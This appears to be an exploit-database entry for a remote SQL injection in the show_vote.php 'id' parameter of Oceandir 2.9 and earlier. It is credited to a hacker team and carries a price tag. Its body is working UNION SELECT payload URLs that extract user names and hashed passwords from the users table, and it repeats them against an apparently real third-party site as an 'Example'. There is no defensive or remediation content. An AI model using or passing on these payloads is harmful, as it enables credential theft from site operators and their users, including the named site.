Oceandir <= 2.9 (show_vote.php id) Remote SQL Injection Vulnerability

=====================================================================
Oceandir <= 2.9 (show_vote.php id) Remote SQL Injection Vulnerability
=====================================================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0                          
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      0
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1


/**
 * @title Oceandir <= 2.9 (show_vote.php id) Remote SQL injection
 * @author JEEN HACKER TEAM [ Jeen + Secertry ]
 * @cost 250$ 
 * @script http://www.oceandir.com
 * @copyright 2008
 */

Exploit :
~user
http://www.site.com/dir/show_vote.php?id=-1+union+select+user_id,fname,3,4+from+users
~passwd
http://www.site.com/dir/show_vote.php?id=-1+union+select+1,hashed_pw,3,4+from+users

Example :
####
http://www.dir.qatarw.com/show_vote.php?id=-1+union+select+user_id,fname,3,4+from+users
http://www.dir.qatarw.com/show_vote.php?id=-1+union+select+1,hashed_pw,3,4+from+users
####



#  0day.today [2018-01-06]  #